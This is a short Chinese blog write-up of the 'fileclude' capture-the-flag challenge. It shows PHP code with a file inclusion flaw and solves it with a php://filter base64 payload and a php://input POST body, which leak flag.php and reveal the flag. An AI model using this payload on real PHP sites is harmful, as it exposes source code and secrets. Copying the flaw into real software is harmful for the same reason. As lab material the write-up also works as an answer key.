fileclude
题目
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
题目分析
简单的文件包含,由题目需要最后要包含flag.php,故需要用file1来获取flag.php的值,考虑伪协议php://filter.
要满足上面条件需要读取file2的内容为hello ctf ,考虑伪协议php://input 。 其中post的内容为hello ctf
解题
构造如下包发送,base64编码后的flag,解码即可得
payload: file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
post 内容 hello ctf
flag:cyberpeace{e7d694c526c5318273c5c0aeb83098cc}
版权声明:
作者:godlong
链接:http://godlong.store/index.php/2024/03/29/fileclude/
来源:godlong
文章版权归作者所有,未经允许请勿转载。
THE END
二维码
文章目录
关闭
共有 0 条评论